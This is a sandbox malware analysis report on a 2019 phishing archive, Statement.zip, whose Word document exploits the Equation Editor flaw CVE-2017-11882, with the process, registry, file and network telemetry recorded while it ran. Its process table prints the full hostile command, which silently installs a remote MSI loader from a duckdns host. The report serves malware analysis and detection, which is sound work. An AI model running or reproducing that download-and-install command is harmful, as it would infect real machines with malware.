| File name: | Statement.zip |
| Full analysis: | https://app.any.run/tasks/6acf3f02-b380-480e-8632-72ef7a414f60 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | September 11, 2019, 07:38:12 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 221EC6F5900A196467A969F2781196EE |
| SHA1: | B41DCA75F5AF758D82907A60E0560D44AA1F57DD |
| SHA256: | 42F650E4FA0CC68EC81FC7BBF1FFB509934666A31A42D554348F901F5340C8F5 |
| SSDEEP: | 192:MHrFMg+G8ydcQxbdEmVcEfY1sukTgFjVckb745n:aus8ydfxbqmjYmbTgFOkbg |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 1008)
- EQNEDT32.EXE (PID: 1804)
Uses Microsoft Installer as loader
- cmd.exe (PID: 2788)
- cmd.exe (PID: 2740)
Downloads executable files from the Internet
- msiexec.exe (PID: 3032)
SUSPICIOUS
Starts Microsoft Office Application
- WinRAR.exe (PID: 2748)
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 1008)
- EQNEDT32.EXE (PID: 1804)
Executed via COM
- EQNEDT32.EXE (PID: 1008)
- EQNEDT32.EXE (PID: 3028)
- EQNEDT32.EXE (PID: 1804)
Executable content was dropped or overwritten
- msiexec.exe (PID: 3032)
Drop ExeToMSI Application
- msiexec.exe (PID: 3032)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3944)
Creates files in the user directory
- WINWORD.EXE (PID: 3944)
Application was crashed
- EQNEDT32.EXE (PID: 1008)
- EQNEDT32.EXE (PID: 1804)
Starts application with an unusual extension
- MSI1D7.tmp (PID: 2396)
- msiexec.exe (PID: 3032)
Application was dropped or rewritten from another process
- MSI1D7.tmp (PID: 3404)
- MSI1D7.tmp (PID: 2396)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3032)
Application launched itself
- MSI1D7.tmp (PID: 2396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2019:09:10 15:05:15 |
| ZipCRC: | 0x155b0b72 |
| ZipCompressedSize: | 8801 |
| ZipUncompressedSize: | 231187 |
| ZipFileName: | Statement.doc |
Total processes
49
Monitored processes
12
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1008 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 1804 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2396 | "C:\Windows\Installer\MSI1D7.tmp" | C:\Windows\Installer\MSI1D7.tmp | — | msiexec.exe | |||||||||||
User: admin Company: goldbeater8giver Integrity Level: MEDIUM Description: goldbeater8Botanical Exit code: 0 Version: 1.03.0001 Modules
| |||||||||||||||
| 2740 | cmd.exe & /C CD C: & msiexec.exe /i http://ddownstairs.duckdns.org/downstairs/files.msi /qn | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1618 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2748 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Statement.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 2788 | cmd.exe & /C CD C: & msiexec.exe /i http://ddownstairs.duckdns.org/downstairs/files.msi /qn | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3028 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 3032 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3236 | msiexec.exe /i http://ddownstairs.duckdns.org/downstairs/files.msi /qn | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3404 | "C:\Windows\Installer\MSI1D7.tmp" | C:\Windows\Installer\MSI1D7.tmp | — | MSI1D7.tmp | |||||||||||
User: admin Company: goldbeater8giver Integrity Level: MEDIUM Description: goldbeater8Botanical Exit code: 0 Version: 1.03.0001 Modules
| |||||||||||||||
Total events
1 892
Read events
1 360
Write events
505
Delete events
27
Modification events
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\72\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\Statement.zip | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2748) WinRAR.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1328218142 | |||
| (PID) Process: | (3944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | l0& |
Value: 6C302600680F0000010000000000000000000000 | |||
Executable files
2
Suspicious files
2
Text files
10
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRBCEC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3032 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF1D337D9036796025.TMP | — | |
MD5:— | SHA256:— | |||
| 3032 | msiexec.exe | C:\Config.Msi\17009e.rbs | — | |
MD5:— | SHA256:— | |||
| 3032 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF5AAF18336F709554.TMP | — | |
MD5:— | SHA256:— | |||
| 2748 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2748.1767\Statement.doc | text | |
MD5:— | SHA256:— | |||
| 3032 | msiexec.exe | C:\Windows\Installer\MSIC77B.tmp | executable | |
MD5:— | SHA256:— | |||
| 3944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Rar$DIa2748.1767\~$atement.doc | pgc | |
MD5:— | SHA256:— | |||
| 3944 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3032 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\LCSLQ9F7\desktop.ini | ini | |
MD5:4A3DEB274BB5F0212C2419D3D8D08612 | SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38 | |||
| 3032 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\OTD5N78S\desktop.ini | ini | |
MD5:4A3DEB274BB5F0212C2419D3D8D08612 | SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3032 | msiexec.exe | GET | 200 | 216.170.114.206:80 | http://ddownstairs.duckdns.org/downstairs/files.msi | US | executable | 444 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3032 | msiexec.exe | 216.170.114.206:80 | ddownstairs.duckdns.org | ColoCrossing | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ddownstairs.duckdns.org |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1060 | svchost.exe | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |
3032 | msiexec.exe | Potential Corporate Privacy Violation | SUSPICIOUS [PTsecurity] Executable application_x-msi Download |
3032 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
3032 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable ExeToMSI Download |
1 ETPRO signatures available at the full report